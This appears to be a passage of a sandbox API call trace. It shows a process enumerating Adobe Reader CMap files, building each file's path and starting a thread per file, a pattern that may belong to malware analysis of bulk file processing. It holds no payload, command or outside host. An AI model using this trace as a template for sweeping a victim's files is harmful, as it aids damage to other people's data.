lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="AD15A3~1")) returned 1 [0164.608] wcscmp (_String1="Adobe-Korea1-H-CID", _String2=".") returned 1 [0164.608] wcscmp (_String1="Adobe-Korea1-H-CID", _String2="..") returned 1 [0164.608] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0xd4944c0 [0164.608] wcscpy (in: _Dest=0xd4944c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.608] wcscat (in: _Dest=0xd4944c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.608] wcscat (in: _Dest=0xd4944c0, _Source="Adobe-Korea1-H-CID" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" [0164.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4944c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0164.609] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="ADCDCC~1")) returned 1 [0164.610] wcscmp (_String1="Adobe-Korea1-H-Host", _String2=".") returned 1 [0164.610] wcscmp (_String1="Adobe-Korea1-H-Host", _String2="..") returned 1 [0164.610] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0xd4947e0 [0164.610] wcscpy (in: _Dest=0xd4947e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.610] wcscat (in: _Dest=0xd4947e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.610] wcscat (in: _Dest=0xd4947e0, _Source="Adobe-Korea1-H-Host" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" [0164.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4947e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0164.611] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="ADF8FD~1")) returned 1 [0164.611] wcscmp (_String1="Adobe-Korea1-H-Mac", _String2=".") returned 1 [0164.611] wcscmp (_String1="Adobe-Korea1-H-Mac", _String2="..") returned 1 [0164.611] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0xd4953c0 [0164.611] wcscpy (in: _Dest=0xd4953c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.611] wcscat (in: _Dest=0xd4953c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.611] wcscat (in: _Dest=0xd4953c0, _Source="Adobe-Korea1-H-Mac" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" [0164.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4953c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec [0164.612] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="ADF15E~1")) returned 1 [0164.612] wcscmp (_String1="Adobe-Korea1-KSCms-UHC", _String2=".") returned 1 [0164.612] wcscmp (_String1="Adobe-Korea1-KSCms-UHC", _String2="..") returned 1 [0164.613] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x936c60 [0164.613] wcscpy (in: _Dest=0x936c60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.613] wcscat (in: _Dest=0x936c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.613] wcscat (in: _Dest=0x936c60, _Source="Adobe-Korea1-KSCms-UHC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCms-UHC" [0164.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64 [0164.614] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="AD662F~1")) returned 1 [0164.614] wcscmp (_String1="Adobe-Korea1-KSCpc-EUC", _String2=".") returned 1 [0164.614] wcscmp (_String1="Adobe-Korea1-KSCpc-EUC", _String2="..") returned 1 [0164.614] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x936a68 [0164.614] wcscpy (in: _Dest=0x936a68, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0164.614] wcscat (in: _Dest=0x936a68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0164.614] wcscat (in: _Dest=0x936a68, _Source="Adobe-Korea1-KSCpc-EUC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" [0164.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0165.061] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="AD8F7C~1")) returned 1 [0165.062] wcscmp (_String1="Adobe-Korea1-UCS2", _String2=".") returned 1 [0165.062] wcscmp (_String1="Adobe-Korea1-UCS2", _String2="..") returned 1 [0165.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0xd495500 [0165.062] wcscpy (in: _Dest=0xd495500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.062] wcscat (in: _Dest=0xd495500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.062] wcscat (in: _Dest=0xd495500, _Source="Adobe-Korea1-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" [0165.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd495500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58 [0165.651] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0165.651] wcscmp (_String1="B5pc-H", _String2=".") returned 1 [0165.651] wcscmp (_String1="B5pc-H", _String2="..") returned 1 [0165.651] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50a78 [0165.651] wcscpy (in: _Dest=0x12c50a78, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.651] wcscat (in: _Dest=0x12c50a78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.651] wcscat (in: _Dest=0x12c50a78, _Source="B5pc-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" [0165.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0165.652] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="B5PC-U~1")) returned 1 [0165.652] wcscmp (_String1="B5pc-UCS2", _String2=".") returned 1 [0165.652] wcscmp (_String1="B5pc-UCS2", _String2="..") returned 1 [0165.652] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7298 [0165.652] wcscpy (in: _Dest=0x8e7298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.653] wcscat (in: _Dest=0x8e7298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.653] wcscat (in: _Dest=0x8e7298, _Source="B5pc-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" [0165.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0165.654] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="B5PC-U~2")) returned 1 [0165.654] wcscmp (_String1="B5pc-UCS2C", _String2=".") returned 1 [0165.654] wcscmp (_String1="B5pc-UCS2C", _String2="..") returned 1 [0165.654] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7178 [0165.654] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.654] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.654] wcscat (in: _Dest=0x8e7178, _Source="B5pc-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2C" [0165.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0 [0165.655] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-V", cAlternateFileName="")) returned 1 [0165.655] wcscmp (_String1="B5pc-V", _String2=".") returned 1 [0165.656] wcscmp (_String1="B5pc-V", _String2="..") returned 1 [0165.656] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51380 [0165.656] wcscpy (in: _Dest=0x12c51380, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.656] wcscat (in: _Dest=0x12c51380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.656] wcscat (in: _Dest=0x12c51380, _Source="B5pc-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-V" [0165.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4 [0165.657] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3205, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-H", cAlternateFileName="CNS-EU~1")) returned 1 [0165.657] wcscmp (_String1="CNS-EUC-H", _String2=".") returned 1 [0165.657] wcscmp (_String1="CNS-EUC-H", _String2="..") returned 1 [0165.657] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6a28 [0165.657] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.657] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.657] wcscat (in: _Dest=0x8e6a28, _Source="CNS-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" [0165.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8 [0165.658] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x363d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNS-EUC-V", cAlternateFileName="CNS-EU~2")) returned 1 [0165.658] wcscmp (_String1="CNS-EUC-V", _String2=".") returned 1 [0165.658] wcscmp (_String1="CNS-EUC-V", _String2="..") returned 1 [0165.658] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e67e8 [0165.658] wcscpy (in: _Dest=0x8e67e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.658] wcscat (in: _Dest=0x8e67e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.658] wcscat (in: _Dest=0x8e67e8, _Source="CNS-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" [0165.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e67e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0165.660] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-H", cAlternateFileName="ETEN-B~1")) returned 1 [0165.663] wcscmp (_String1="ETen-B5-H", _String2=".") returned 1 [0165.663] wcscmp (_String1="ETen-B5-H", _String2="..") returned 1 [0165.663] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7328 [0165.663] wcscpy (in: _Dest=0x8e7328, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.663] wcscat (in: _Dest=0x8e7328, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.663] wcscat (in: _Dest=0x8e7328, _Source="ETen-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" [0167.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008 [0167.493] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x466cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-UCS2", cAlternateFileName="ETEN-B~2")) returned 1 [0167.493] wcscmp (_String1="ETen-B5-UCS2", _String2=".") returned 1 [0167.493] wcscmp (_String1="ETen-B5-UCS2", _String2="..") returned 1 [0167.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6bd8 [0167.493] wcscpy (in: _Dest=0x8e6bd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.493] wcscat (in: _Dest=0x8e6bd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.493] wcscat (in: _Dest=0x8e6bd8, _Source="ETen-B5-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-UCS2" [0167.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc [0167.494] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETen-B5-V", cAlternateFileName="ETEN-B~3")) returned 1 [0167.494] wcscmp (_String1="ETen-B5-V", _String2=".") returned 1 [0167.494] wcscmp (_String1="ETen-B5-V", _String2="..") returned 1 [0167.494] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6b48 [0167.494] wcscpy (in: _Dest=0x8e6b48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.494] wcscat (in: _Dest=0x8e6b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.494] wcscat (in: _Dest=0x8e6b48, _Source="ETen-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" [0167.494] 